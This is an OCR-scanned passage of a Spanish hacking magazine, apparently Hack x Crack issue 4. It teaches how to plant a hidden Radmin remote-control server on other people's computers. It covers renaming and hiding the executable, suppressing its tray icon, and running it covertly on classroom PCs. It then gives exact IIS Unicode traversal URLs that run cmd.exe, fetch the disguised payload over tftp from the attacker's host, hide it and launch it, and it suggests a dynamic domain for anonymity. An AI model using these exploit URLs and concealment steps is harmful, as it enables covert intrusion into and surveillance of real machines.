. . . Set password ...
If you do not inztall the server az a service, you can start it manually

each time, when you need it However some features of the server
will not work, in thiz caze. For example pou will not be able ta remotely

Options ...
logon and logoff the user. P

Abaut ..

Enter req code
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9.- Otras opciones modificables
directamente en el registro de
Windows

Un dia te dijimos que una cosa era la interfaz gréfica
y otra muy distinta el programa. También te
comentamos que una interfaz grafica podia no
ofrecer todas las opciones de configuracion posibles
para un programa. Muy bien, pues aqui te dejamos
unas cuantas cosas que SI puedes hacer PERO
Unicamente modificando directamente el registro
de Windows.

Si no sabes...

Si no sabes como acceder al registro de Windows o no
entiendes este apartado, no te preocupes demasiado por
ahora, estamos preparando un articulo sobre ¢l tema :)

Venga, material para hacer tus propio experimentos
;)
* Para introducir un filtro de IPS, es decir, solo se

podran conectar a tu radmin-servidor las IPS que
figuren en la lista de valores.
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HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Ser
ver\Parameters\FilterIp

HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Ser
ver\iplist

* Para mostrar didlogos de confirmacion:

HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Ser
ver\Parameters\AskUser

* Para volver a los valores por defecto:

HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Ser
ver\Parameters\AutoAllow

* Para deshabilitar el Tray Icon:
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Ser
ver\Parameters\DisableTrayIcon

* Para activar un Log de accesos y guardarlo

HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Ser
ver\Parameters\EnableLogFile

HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Ser
ver\Parameters\LogFilePath

* Para ponerle un password.

HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Ser
ver\Parameters\Parameter

* Para poner un Puerto de inicio a nuestra eleccion:

HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Ser
ver\Parameters\Port

* Para activar la seguridad de Windows junto al
programa.

HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Ser
ver\Parameters\NTAuthEnabled

* Para la lista de usuarios (en relacion al parametro
anterior).

HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Ser
ver\Users
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* Relativo al registro del programa.
, |£|> Cuando accedemos...
HKEY_LOCAL_MACHINE\SOFTWARE\RAdmin\v1.0
1\ViewType\Data
Cuando accedemos a un equipo remoto a través de Internet
* Para deshabilitar la posibilidad de hacer cambios. y conseguimos remontar privilegios hasta conseguir el

status de root, la posibilidad de modificar el Registro
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Se

. del Sistema te otorga poder absoluto sobre el sistema...
rver\Parameters\DisallowChanges gap

ya aprenderemos a remontar privilegios, ya, tiempo

* Deshabilitar sonidos. al tiempo ;)

HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Se
rver\Parameters\DisableBeep

* Deshabilitar el control.

HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Se
rver\Parameters\DisableRedirect

HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Se
rver\Parameters\DisableScreen

* Deshabilitar opciones de acceso.

HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Se
rver\Parameters\DisableView

HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Se
rver\Parameters\DisableTelnet

HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Se _ . PN ()
rver\Parameters\DisableFile S \ f ; AL DESCUBIERTO:

Esto solo es una muestra, una simple muestra de
lo que puede llegar guardar un programa en Santo
Sanctorum Windows Register (SSWR) ;)

HACEMOS (OB NADIE HACE

No ha sido. ..
© ha S1€0 HAEKEANUES'I'?SEHWDUH I

No ha sido nuestra intencion con este ultimo apartado
detallar (ni mucho menos) cada una de las posibilidades
que nos ofrece la modificacion del Registro para el radmin,

simplemente hemos intentado enumerar las que conocemos,
aunque quizas existan mas.
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CREA TU SEGUNDO TROYANO

INDETECTABLE E INMUNE
A LOS ANTIVIRUS

RALYMIN: REMOTE APYHWIN/STRATORZ. 7
UN CONTROLADOR REMNOT7O A MEL/ILDA”,)

PARTE IV: 3
OCULTANDO EL RADMIN, ESTA VEZ SI !!!

1.- ¢éDonde estabamos?

Después de comprender un poco mas el funcionamiento de los ejecutables y sus parametros, vamos a
ocultar el icono del Radmin-Servidor PERO entendiendo mucho mejor lo que implica y las consecuencias.

2.- Ocultando en Tray Icon en el ordenador de "nuestros alumnos".

Esto es ahora lo mas sencillo del mundo. Tenemos acceso al ordenador que queremos "victimizar" y tenemos
acceso de administrador, puesto que estamos en "nuestra" aula de informatica.

Recuerda que teniamos nuestro r_admin.exe en nuestro PC principal, después lo copiamos a un disquete
para poder introducirlo en cualquier PC, cambiamos el nombre a truetype.exe para que no fuese reconocible
ante un [ctrl] [alt] [supr], lo copiamos en c:\windows\system para esconderlo un poquito (solo un poquito)
y ahora podemos modificar el registro de Windows y darle las opciones que queramos o mejor dejamos
que el radmin modifique el registro por nosotros configurandolo con la opcion /setup.

Asi pues, ejecutamos el "radmin" por linea de comandos con la opcidn /setup en cada uno de los equipos:
c:\windows\system\truetype.exe /setup y nos aparecerd la pantalla de configuracion.
Los cambios efectuados en esta ventana seran automaticamente introducidos en el Registro de Windows,
asi lo ha decidido el programador.

Options for Remote Adminisktrator server 2.1 x|

If wou ingtall the zerver as a system service you configure it bo run Inztall service |

automatically eacl,fHme when Windows starks,

For Windows HT /2000 users: To install or remove the service vou must Remove service |

have adminstrator privileges.

. . . Set password ... |
If wou do nat install the server as a service, pou can start it manually
each time, when you need it. Howewver some features of the server
will ot works in this cage. For example pou will not be able to remotely Options ... |
lagorn and logoff the uszer.
About |

Enter reg code |
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PARTE IV: OCULTANDO EL RADMIN, ESTA VEZ Si !l!

Pulsaremos sobre Options y seleccionaremos el

Hide Tray icon equipo, ejecutarlo por linea de comandos con

la opcion de ocultar el Tray Icon y asunto arreglado.
Options for Remote Administrator Server 2. | Pero el programador del "radmin" ha sido muy

listo y para ocultar el Tray Icon te obliga a acceder

It's neceszany ko restart B admin server after the
change of the port number. a una interfaz grafica de configuracion la cual

se encarga de modificar el Registro de Windows

IF filker allowz accezz only from specified P addrezes

I Uss P fiter con los valores seleccionados... gpor qué lo

ha decidido asi?... La unica opcion que OBLIGA

IP address | Subnet mask |

al programador a modificar el registro de Windows
es la opcidon de instalar como "servicio" (para

que se auto-inicie al reiniciar el sistema), el

resto de opciones podria haberlas implementado
Add. Remove | por una simple opcién de inicio por linea de

comandos y una llamada a un archivo adjunto

—Pot————————— ~Trapicon

: de configuracion (como el "servu", otra vez ;))
[+ Use default part Iv |

Pero NO!!!, ha preferido guardar las opciones

|4899 en el Registro... jpor qué?... Supongo que esta
claro ;no? Para OBLIGAR al USUARIO a tener
derechos de administrador sobre el PC en el

—Logging——— [ Incoming connection dialog——

[ Azk user pemizsion ) )
I~ UseEventLog que estd "trasteando". Recuerda que si no tienes

. {5 Auto deny after Hrmenut L. .
I Use logfile © fute allov after Hmeaut derechos de Administrador no puedes modificar
Ic:'xlu:ugfile.t:-:t el registro.
Tirneout I'ID HEE

Cancel |

No es el momento...

Pulsaremos OK y en la siguiente pantalla pulsaremos
sobre "install service", esto hara que el

. - - No es el momento de explicar todo lo relacionado
radmin-server se inicie cada vez que reiniciemos el

ordenador :) con los permisos de usuario de Windows, pero te

proponemos una pequefla practica. Si tienes
Se acabd, ahora, cada vez que se reinicien los Windows NT/XP puedes comprobar "in situ"
equipos de los alumnos, tendran el radmin-servidor la imposibilidad de instalar el r admin.exe como

corriendo y aceptablemente oculto.

servicio u ocultar el icono si no tienes privilegios
de administrador. Solo tienes que crear un nuevo usuario,

Imagina que configurarlo como "cuenta limitada", iniciar una

sesidon con ese nuevo usuario e intentar lo propuesto

(para crear una nueva cuenta vamos a, Menu Inicio

Imagina que el programador hubiese querido introducir _> Panel de Control --> Cuentas de usuario y no

una opcion por linea de comando para ocultar directamente g 29
sigo porque el proceso es muy facil)
el Tray Icon (como sucedia en el "servu"), seria perfecto!!!

Podriamos introducir el radmin-servidor en cualquier
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- Oye, mira, volviendo a lo de antes, yo creo que es facil
para un "alumno'’ saber si tiene un radmin-servidor
corriendo en su equipo, solo tiene que hacer un netstat
-a por linea de comando, como me enseiiaste en el otro
numero de la revista, y ver si hay algo en el puerto por
defecto del radmin-servidor, el puerto 4899. Que bueno
soy!!!

Pues tienes razon, veo que tomaste buena nota :)
Entonces accedemos de nuevo a la configuracion,
cambiamos el puerto por defecto al que nosotros
queramos (esto esta a la izquierda de la opcién de
ocultar el tray icon) y de paso accedemos a la opcion
"Set Password" y ponemos una contrasefa de acceso,
por si acaso un alumno muy espabilado descubre
el tinglado, se trae un radmin-cliente de su casa e
intenta acceder al resto de ordenadores.

Todas estas opciones estan en las dos imagenes
anteriores, por eso no las copiamos de nuevo, que
nos quedamos sin revista con tanta foto :(

- Y... mira, imagina que un alumno se aburre y
curioseando por el disco duro encuentra en el
directorio c:\windows\system el archivo truetype.exe,
canta mucho porque conserva el icono del radmin.
¢Puedo aplicar lo de ocultar el archivo, eso que
explicasteis en los nUmeros anteriores?

Por supuesto, esa es la idea, que apliques todo lo
que ya sabes:

* Puedes ocultar el archivo mediante sus
propiedades, aunque es muy poco efectivo, ya sabes,
simplemente configurando Windows para ver archivos
ocultos y archivos de sistema tal como te ensefiamos
en numero anteriores volveria a estar visible.
* Mejor si, ademas de hacerlo oculto por sus
propiedades cambias el nhombre de truetype.exe a
truetype.dll, de esa manera perdera su aspecto (su
radmin-icono) y parecerad una simple libreria de
Windows, como hicimos con el "servu". Recuerda
gue en este caso, si cambias el nombre de
truetype.exe a truetype.dll, podras ejecutarlo por
linea de comando exactamente igual que hasta
ahora desde un Windows NT o XP, pero no podras
ejecutar un *.dll desde un W9x, no te hemos
ensefiado a hacer eso todavia ;)

- Pero... un alumno que ha leido esta revista, podrd
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acceder a las claves del registro de Windows para ver

si el radmin ha sido instalado como servicio ;no?

Si, cierto, eso se arregla iniciando los equipos de los
alumnos desde un usuario sin privilegios de ningun
tipo (en Windows NT/XP), de esa manera le deniegas
el acceso al registro y a muchas otras cosas. Estamos
preparando algun articulo que te ensefia a proteger
tu sistema en caso de que debas dejarlo
temporalmente en manos de otra persona... pero te
aseguro que segun los conocimientos de la persona
que se ponga frente a ese PC, al final podra burlar
la seguridad del sistema.

- Por Ultimo, ya no pregunto mas... si quiero meter
el radmin-servidor a un equipo pero no tengo
derechos de administrador ¢Como lo hago?

Vamos a ver nuestras opciones hasta ahora:

* Si tienes acceso fisico a ese equipo puedes
meterle el radmin-servidor e iniciarlo con la opcién
nombredelprograma.dll /pass:loquesea /port:loquesea
(ya lo hemos explicado en este numero).

Un ejemplo seria --> truetype.exe /pass:osiris55
/port:6588

En este caso iniciarias el radmin-servidor y se quedaria
a la escucha del puerto 6588 esperando que alguien
se conectase. En el caso de que llegase dicha
conexion, el radmin-servidor exigiria la clave osiris55
al cliente.

Recuerda que esto NO modifica el registro y
por lo tanto NO necesitas privilegios de
administrador, pero claro, cuando reinicien
el equipo, el radmin-servidor no se iniciara
de forma automatica. Estamos preparando
articulos sobre como iniciar de forma automatica
programas sin necesidad de modificar el
registro y por lo tanto sin la necesidad de
poseer privilegios de administrador, que si,
que si se puede hacer ;)

* Sj tienes acceso por Internet, tendras que utilizar
algun bug como el que te ensefiamos en el
ndmero anterior, precisamente en el siguiente
texto utilizamos el CODE/DECODE ;)
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3.- Conectandonos a la victima:

Ahora ya puedes sentarte en tu ordenador (el PC
principal), abrir el radmin-cliente y configurar un
enlace a la "victima" de forma idéntica a como ya
te hemos ensefiado en PARTE II: GESTIONANDO
UNA SALA DE ORDENADORES.

Repite esto por cada PC que quieres controlar y se
acabd, ya posees el control de una sala completa
y de una forma bastante "discreta" :)

Imagina que...

Todo lo que hemos explicado puede utilizarse para bien o
para mal, cada uno elige su camino. Pero hombre, en lugar
de comportarte como un elefante en una cristaleria y meterle
el "radmin-servidor" a tu "jefe" (lo que seguro te costara
tu empleo actual) o espiar a tus alumnos/empleados (con
lo que te juegas una denuncia) HAZ ALGO MUCHO
MEJOR, utilizalo para controlar un PC que tengas en
otra habitacion (o en otro edificio, o en otra ciudad, o en
otro pais) o para ayudar a tus alumnos/trabajadores desde
tu despacho/casa. Las posibilidades que te ofrece un
programa como el "radmin" son verdaderamente infinitas,
aprende a utilizar estos articulos con fines ttiles, solo asi
conseguiras superarte dia a dia... que si, que se aprende

mucho mas ;p

Una noche ...

Una noche como cualquier otra. ..

Esto nos lo ha contado la persona que estaba una noche
cualquiera frente al servidor de Hack x Crack...

"... de repente, sin previo aviso, el puntero del raton al

igual que ardilla juguetona inicié un delicado y entrecortado

movimiento que a todas luces estaba controlado por una

PC PASO A PASO N° 4 Pagina 43

inteligencia desconocida. Pasados unos segundos, la
posibilidad de un posible error en la percepcion inicial de
tan interesante acontecimiento fue brutalmente descartada
al ver aparecer ante el escritorio el tipico menu contextual,
como si alguien hubiese pulsado el boton derecho del
Mouse, ese Mouse que permanecia absolutamente inmovil
sobre la mesa. El experimentado O:) administrador, haciendo
gala de su conocida frialdad ante situaciones parecidas,
abrid el "Bloc de Notas" del Windows y mantuvo una
"charla" con "quienquiera" que estuviese detras de aquella
argucia, uno tras otro se turnaron para escribir el Bloc y se
rieron un rato en tanto que ambos sabian perfectamente lo
que estaba pasando: un chico malo llamado "radmin" (o
cualquiera de sus hermanos) habia sido liberado en el
servidor de Hack x Crack ;p"

Ja, ja,,, esto no es una broma, sucedio6 realmente. Lo que
no sabe el "invasor" es que justo al lado, en otro PC se
estaba escribiendo parte de este articulo ;)

Un abrazo!!!
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SERVIDOR DE HXC
MODO D EMPLEO

- Hack x Crack ha habilitado un servidor para que puedas
realizar las practicas de hacking.

- Actualmente tiene el BUG del Code / Decode y lo
dejaremos asi por un tiempo (bastante tiempo ;) Nuestra
intencion es ir habilitando servidores a medida que os
ensefemos distintos tipos de Hack, pero por el momento
con un Servidor tendremos que ir tirando (la economia no
da para mas).

- En el Servidor corre un Windows 2000 Advanced Server
con el IIS de Servidor Web y esta en la IP 80.36.230.235.

- El Servidor tiene tres unidades:

* La unidad c: --> Con 2GB

* La unidad d: --> Con 35GB y Raiz del Sistema
* La unidad e: --> CD-ROM

Nota: Raiz del Servidor, significa que el Windows Advanced
Server esta instalado en esa unidad (la unidad d:) y
concretamente en el directorio por defecto \winnt\
Por lo tanto, la raiz del sistema esta en d:\winnt\

- EI IIS, Internet Information Server, es el Servidor de
paginas Web y tiene su raiz en d:\inetpub (el directorio
por defecto)

Nota: Para quien nunca ha tenido instalado el IIS, le sera
extrafio tanto el nombre de esta carpeta (d:\inetpub) como
su contenido. Pero bueno, un dia de estos os ensefiaremos
a instalar vuestro propio Servidor Web y detallaremos su
funcionamiento.

De momento, lo Unico que hay que saber es que cuando
TU pongas nuestra IP (la IP de nuestro servidor) en tu
navegador, lo que estas haciendo realmente es ir al
directorio d:\Inetpub\wwwroot\ y leer un archivo llamado
default.htm.

Nota: Como curiosidad, te diremos que APACHE es otro
Servidor de paginas Web (seguro que has oido hablar de
él). Si tuviésemos instalado el apache, cuando pusieses
nuestra IP en TU navegador, accederias a un directorio
raiz del Apache (donde se hubiese instalado) e intentarias
leer una pégina llamada index.html

Explicamos esto porque la mayoria, seguro que piensa en
un Servidor Web como en algo extrafio que no saben ni
donde estd ni como se accede. Bueno, pues ya sabes
ddnde se encuentran la mayoria de IIS (en \Inetpub\) y
cual es la pagina por defecto
(\Inetpub\wwwroot\default.htm). Y ahora, piensa un poco...
... ¢Cudl es uno de los objetivos de un hacker que quiere
decirle al mundo que ha hackeado una Web? Pues esta
claro, el objetivo es cambiar (o sustituir) el archivo
default.html por uno propio donde diga “hola, soy DIOS
y he hackeado esta Web” (eso si es un lamer ;)
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A partir de ese momento, cualquiera que acceda a ese
servidor, vera el default.htm modificado para vergiienza
del “site” hacheado. Esto es muy genérico pero os dara
una idea de cémo funciona esto de hackear Webs ;)

- Cuando accedas a nuestro servidor mediante el CODE /
DECODE BUG, crea un directorio con tu nombre (el que
mas te guste, no nos des tu DNI) en la unidad d: a ser

posible (que tiene mas espacio libre) y a partir de ahora
utiliza ese directorio para hacer tus practicas. Ya sabes,
subirnos programitas y practicar con ellos :)

Puedes crearte tu directorio donde quieras, no es necesario
que sea en d:\mellamojuan. Tienes total libertad!!! Una
idea es «crearlo, por ejemplo, en
d:\winnt\system32\default\mellamojuan (ya iras
aprendiendo que cuanto mas oculto mejor :)

Es posiblemente la primera vez que tienes la oportunidad
de investigar en un servidor como este sin cometer un
delito (nosotros te dejamos y por lo tanto nadie te
perseguira). Aprovecha la oportunidad!!! e investiga mientras
dure esta iniciativa (que esperamos dure largos afios)

- En este momento tenemos mas de 600 carpetas de pefia
que, como tu, esta practicando. Asi que haznos caso y
crea tu propia carpeta donde trabajar.

MUY IMPORTANTE...

del Servidor si no sabes exactamente lo que estds haciendo ni
borres las carpetas de los demas usuarios. Si haces eso, lo inico
que consigues es que tengamos que reparar el sistema servidor
y, mientras tanto, ni tu ni nadie puede disfrutar de él :(
Es una tonteria intentar “romper” el Servidor, lo hemos puesto
para que disfrute todo el mundo sin correr riesgos, para que todo
el mundo pueda crearse su carpeta y practicar nuestros ejercicios.
En el Servidor no hay ni Warez, ni Programas, ni claves, ni nada
de nada que “robar”, es un servidor limpio para TI, por lo tanto

cuidalo un poquito y montaremos muchos més :)
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INDETECTABLE £ INMUNE
A LOS ANTIVIRUS

RALYIN: REMOTE ADYHWIN/STRATORZ. 7
UN CONTROLADOR REMOT7O A MEL/ILPA”,)

PARTE V:

OCULTACION, INTRODUCCION Y EJECUCION DEL
RADMIN EN EQUIPOS REMOTOS A TRAVES DE
INTERNET MEDIANTE EL CODE/DECODE BUG Y

RECAPITULACION/AMPLIACION

APRENDIDO.

DE LO

Un PC PARA CONTROLARLOS A TODOS

* En las siguientes lineas mostraremos, una tras
otra, las instrucciones EXACTAS para hackear el
servidor de Hack x Crack.

* No nos pararemos a explicar cada instruccion
porque ya hemos detallado en profundidad cada
uno de los parametros empleados en los nimeros
2y 3 de Hack x Crack.

* Si no tienes ni idea de lo que estamos hablando
y las siguientes lineas te suenan a chino-mandarin,
seguro que no has leido los nimeros 2 y 3 de Hack
x Crack.

* Estas instrucciones NO PUEDES ejecutarlas sin
una preparacion previa del entorno que implica
tener activos y configurados una serie de programas.
Volvemos a lo mismo, todo esto fue explicado
detalladamente en el nimero 2 y fue ampliado en
el nimero 3.

* No te doy mas la lata :)
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1.- Conocimientos previos:

Para poder ejecutar y comprender las siguientes
instrucciones debes haber practicado los anteriores
ejercicios de esta publicacion. Tienes nuestro servidor
para tus practicas :)

Si lo que vas a ver a continuacion te parece
complicadisimo, no lo dudes, tienes que leerte los
anteriores nimeros de Hack x Crack.

Ya no lo digo mas, que seguro estas pensando
que soy un pesado integral. Pero ya me
imagino la ingente cantidad de mails que
me llegaran preguntando sobre las siguientes
lineas escritos por personas que no tienen
los anteriores nimeros y TENGO MIEDO!!!
En serio, me dais miedo, me tenéis atemorizado!!!
Por favor, si no tienes los nimeros anteriores
PfDELOS, en esta revista encontraras las
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instrucciones para que te enviemos los nimeros
anteriores.

YA ESTA!I! ;)

2.- PASO A PASO: hackeando el
Servidor de Hack x Crack (o cualquier
otro ;))

Como ya hemos comentado, utilizaremos el
CODE/DECODE BUG para subirle y ejecutarle al
remoto (la victima) la parte servidor del (radmin).
Como siempre abrimos nuestro Internet Explorer y
EMPEZAMOS!!!

a) Creamos la carpeta proteus en el servidor de la
victima mediante la instruccion md d:\proteus
(siguiendo las recomendaciones de uso del Servidor
de Hack x Crack, create la carpeta con un nombre
cualquiera, nosotros hemos elegido proteus :)

Recuerda que puedes crearla donde quieras, cuanto
mas escondida mejor, asi sera mas dificil de localizar

D)

http://80.36.230.235/scripts/.. %c0%af../winnt/system3
2/cmd.exe?/ctmd+d:\proteus

b) Comprobamos que se ha creado la carpeta en el
remoto haciendo un dir al disco D:

http://80.36.230.23 5/scripts/.. %c0%af../winnt/system3
2/cmd.exe?/ct+dirtd:\

2l htep:/ =101 %]

Archivo e s H e ‘ | Fr
@ Atrds - T .j .ﬂ X | . Bisgueda . Favoritos d" TMultimedia €f‘ | = 2
Direccidn [&) http:/180,36,230,235/scripts). . FocO%af. fwinnt/system | 1 : Vinculos ** | Nerton Antivirus () -
[ TS/ £, T o% TIF. JiI=pE < — _AJ

06/09/2002 15:25 <DIR> pololo

03/09/2002 19:50 <DIR> popo

11/09/2002 10:19 <DIR> poeiva

Z3/10/2002  15:48 <DIR> Proram

10/09/2002 19:23 <DIR> probaruetoat

23/10/2002  18:57 <DIR> Program

Z6/10/2002 21:01 <DIR> Program Files

05/09/2002 23:27 <DIR> proof

27/10/2002 12:57 <DIR> proteus

01/09/2002 14:56 <DIR> Proteusz

19/09/2002 05:44 <DIR> Proteusa

1071072002 00:50 <DIR> protonico

0z/09/2002  16:29 <DIR> Proximus —

15/09/2002 00:26 <DIR> prul

19/08/2002 02:13 <DIR> prushas

03/09/2002 02:50 <DIR> prd

20/08/200z2z 15:26 <DIR> fquepasacguenoveomidirectorio

06/10/2002  10:50 <DIR> roo00lz

1N/Na/A0NE 1540 LDTR> rauhdl =
|&] Listo [ @ mternet —
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¢) Subimos el radmin-server (fatscsi.dll) a la victima.
Nosotros hemos renombrado el r_admin.exe (la
parte servidor del radmin) a fatscsi.dll antes de
subirlo, ya sabes que tu puedes darle el nombre
que quieras, como siempre.

http://IP-DE-LA-VICTIMA/scripts/.. %c0%af../
winnt/system32/cmd.exe?/ct+d:\winnt\system32\tfip.exe
%20-i%20TU-IP-PONLA-AQUI%20get%20%
20fatscsi.dll%20d:\proteus|\fatscsi.dll

En IP-DE-LA-VICTIMA debes poner la IP EXTERNA
del servidor que quieres hackear. Como ahora estas
hacheando el servidor de Hack x Crack, debes poner
80.36.230.235. En TU-IP-PONLA-AQUI debes poner
tu IP EXTERNA.

Si la IP de la victima fuese 80.36.230.235 y TU IP
EXTERNA fuese 235.24.57.24, la instruccion exacta
seria:

http://80.36.230.235/scripts/.. %c0%af../winnt/system3
2/cmd.exe?/c+d:\winnt\system32\tftp.exe %20-
1%20235.24.57.24%20get%20%20fatscsi.dll %20d:\pro
teus\fatscsi.dll

|£|> En este nimero...

En este nimero de Hack x Crack se ensefiara a utilizar un
nombre de dominio en lugar de TU IP EXTERNA, con

ello conseguiremos el anonimato en el update. Cuando

acabes de leer la revista estaras en condiciones de poner
tu nombre de dominio en lugar de TU IP EXTERNA.
Suponiendo que has conseguido el nombre de dominio,
por ejemplo "triniumftp.servftp.com", la instruccion de

update quedaria asi:

http://80.36.230.235/scripts/.. %c0%af../winnt/system32/
cmd.exe?/c+d:\winnt\system32\tftp.exe%20-
i%20triniumfip.servfip.com%20get%20%20fatscsi.dll %
20d:\proteus\fatscsi.dll
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d) Comprobamos que el archivo ha subido a Ia
victima haciendo un listado a la carpeta creada. (dir
d:\proteus)

http://80.36.230.235/scripts/.. %c0%af../winnt/system3
2/cmd.exe?/ct+dir+d:\proteus\

e) Ocultamos el archivo activando la opcion de
"oculto" (+h) y lo hacemos "modificable"
desactivando la opcidn de "solo lectura" (-r) (attrib
-r +h d:\proteus\fatscsi.dll)

http://192.168.0.1/scripts/.. % c0%af../winnt/system32/
cmd.exe?/c+attrib%20-r%20%2Bh+d:\proteus\fatscsi.dll

Recuerda que:

* El simbolo + es %2B en Unicode (por lo
del extraterrestre), explicado en el nimero
3 de Hack x Crack.

* Lo hacemos oculto para que sea mas
discreto (explicado en el nimero 3 de Hack
x Crack)

f) Comprobamos que ha sido ocultado haciendo un
dir "normal"

http://80.36.230.235/scripts/.. %c0%af../winnt/system3
2/cmd.exe?/ctdir+d:\proteus\

g) Si quieres comprobamos que el archivo existe
haciendo un dir con la opcién de "ver archivos
ocultos" /a

http://80.36.230.235/scripts/.. %c0%af../winnt/system32
/emd.exe?/ctdir/a+d:\proteus\
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h) Finalmente ejecutamos el radmin-server :)

http://80.36.230.235/scripts/.. %c0%af../winnt/system32
/cmd.exe?/ctd:\proteus\fatscsi.dll

3.- Conéctate a tu victima ;)

Ahora mismo ya estaria el radmin-servidor corriendo
en la victima y solo nos quedaria conectarnos desde
nuestro PC utilizando el radmin-cliente tal y como
os hemos ensefiado el principio de este articulo.
Cuando configures la conexion en el radmin-cliente,
recuerda que la IP sera la de la "victima" (en nuestro
caso 80.36.230.235) y el puerto sera el puerto por
defecto 4899, puesto que hemos ejecutado el radmin-
servidor sin parametros.
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4.- MUY IMPORTANTE

Igual que pasaba...

Igual que pasaba con el serv-u.exe, si dejas el puerto por
defecto puede ser que otro usuario ponga el mismo y en
ese caso NO PODRAS acceder al radmin-server (de hecho
no podrés ni iniciar el programa). Si pones un puerto
"tipico" (55555,1666,1777,1025, 2525, 5052, 8080..., es
decir, cap-i-cuas, de serie completa, de numero alternado,
de niimero repetido...) seguro que otro usuario se te
adelantara poniendo el mismo puerto y ZAS!!!, no podras
iniciar el programa; pon un puerto como el que pondrias
en una cartilla del banco, a nadie se le ocurriria poner el

55555555 en una cartilla (y menos si tienes dinero ;))

En lugar de iniciar el radmin-servidor en el puerto
por defecto, hazlo en un puerto distinto y ponle una
clave de acceso ;)

http://80.36.230.235/scripts/.. %c0%af../winnt/system32
/emd.exe?/c+d:\proteus\fatscsi.dll /pass:00000000
/port:6500

En este caso estariamos iniciando el radmin-servidor
en el puerto 6500 y con la contrasefia 00000000.
Por cierto, pon una contrasefia de 8 digitos o mas,
si no lo haces asi no funcionara :)
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OCULTACION DE IP POR NOMBRE

DE DOMINIO
CONSIGUE UN NOMBRE DE

DOMINIO GRATIS Y UNA IP FIJA

PARTE I: OBTENCION DE UN NOMBRE DE
DOMINIO, REASIGNACION AUTOMATICA DE
IP/NOMBRE Y APLICACION PRACTICA.

¢Queren hacerte pagar por un nombre de dommo?
¢Tu Proveedor de Internet (ISP] te da una IP UARIABLE?
¢No puedes montar un FTP o una WEB en tu ordenador porque no consigues una IP FIJA?

51 lees este articulo podras superar todas esas absurdas hmitaciones que TU ISP ha
decidido imponerte. S0L0 EL CONOCIMIENTO TE HACE LIBRE -]

1.- Punto de Partida: El Problema.

Un buen dia, después de una charla con algin
(amigo/a, familiar, empresa, alumno/a, compariero/a,
novio/a...) decides que seria una buena idea
intercambiar vuestros archivos (apuntes, fotografias,
contratos, documentacion de consulta, balances de
ventas...) por Internet a través de alguno de esos
programas de intercambio de ficheros. Después de
evaluar las opciones de Soft existentes y descartar
el Correo Electrdnico (no te ves transfiriendo archivos
de 50MB por mail :)), montar una Web en tu equipo
(muy complicado) o utilizar un P2P (ves a saber
quien mas puede acceder a nuestro material),
finalmente te decides por el FTP (quizas viste el
nuimero 1 de Hack x Crack y te animaste ;)).

Después de elegir el Soft adecuado (y en nuestra
opinion utilizar un Servidor FTP es la opcion correcta),
instalas el Servidor FTP y le das a tu "contacto" los
datos necesarios para realizar la conexion: La
contrasefia de acceso, el puerto de escucha al que
debera conectarse y la IP EXTERNA de tu equipo.
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Pasados unos dias, tu "contacto" te llama diciendo
que la semana pasada podia conectarse
perfectamente a tu IP pero que hoy es imposible,
que no hay manera. Tu, preocupado, revisas el
programa y encuentras el error: TU IP EXTERNA HA

IP y acto seguido llamas a tu ISP y le preguntas por
qué demonios te han cambiado TU IP EXTERNA,
que tienes un Servidor FTP y que no puedes ir
llamando a todo el mundo cada vez que a "ves a
saber quien" le de por cambiarte la IP. La sefiorita
"operadora", amablemente te dird que eso es normal,
que en el contrato se especifica que TU IP ES
DINAMICA y tal y cual y... en resumen, que NO
TIENES UNA IP FIJA y no puedes hacer nada para
remediarlo :(

2.- Buscando Soluciones:

Lo primero que se te ocurre es la posibilidad de
cambiar de ISP, pero después de llamar a unos
cuantos y ver que esa solucion implica, entre otras
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cosas, dar de baja tu actual conexion y esperar
pacientemente que te activen el servicio con otro
proveedor, decides que no, que no quieres volver
a sufrir una espera interminable, 50 reclamaciones
por retrasos, FAX arriba y FAX abajo y ves a saber
cuantas cosas mas. Decepcionado te haces a la
idea y piensas: "Que porqueria de Pais!!! Internet,
Internet, Internet hasta en la sopa y cuando quieres
utilizarlo para algo realmente interesante no te
ponen mas que problemas, que gentuza mas
incompetente... ... ... cap*ll*s de m... &%&*N/"A...

Pero pasados unos meses, encuentras en el quiosco
el nimero 4 de Los cuadernos de Hack x Crack,
cuyo nombre comercial es PC PASO A PASO y
ZASSS!!, encuentras la solucién: ponerte un nombre
de dominio y actualizarlo automaticamente.

3.- La Solucion.

Caso I: Conexion directa a una IP.

La situacion inicial es facil de entender, te montas
un Servidor FTP en tu ordenador y la otra persona
debe conectarse con un Cliente FTP. Como todo
esto ya se explicd, simplemente expondremos la
situacion sin extendernos en explicaciones
(compra los nUmeros anteriores o descargate de
nuestra Web el nimero 1 en PDF que es totalmente

GRATIS).
TUPC PCDETU
AMIGO
Servidor FTP en marcha Cliente FTP configurado para
IP: 80.90.25.221 conectarse a:
Puerto: 8250 . La IP Externa
User/Pass: alberto/quevengo 80.90.25.221
. En el puerto 8250
. Con el user/pass:
alberto/quevengo

Caso II: Conexion a una IP por Nombre de Dominio

TUPC PCDETU

ANIGO

Servidor FTP en marcha Cliente FTP configurado para
Nombre de Dominio: conectarse a:
soydios.noip.com . Nombre de Dominio:
IP: “la que sea" soydios.noip.com
Puerto: 8250 . En el puerto 8250

User/Pass: alberto/quevengo . Con el user/pass:

alberto/quevengo

Vamos a ensefarte a hacer conseguir un nombre
de dominio totalmente gratis. Este dominio sera en
realidad un subdominio, después te lo explicaremos
mejor ;).

4.- Consiguiendo un "nombre de
dominio”

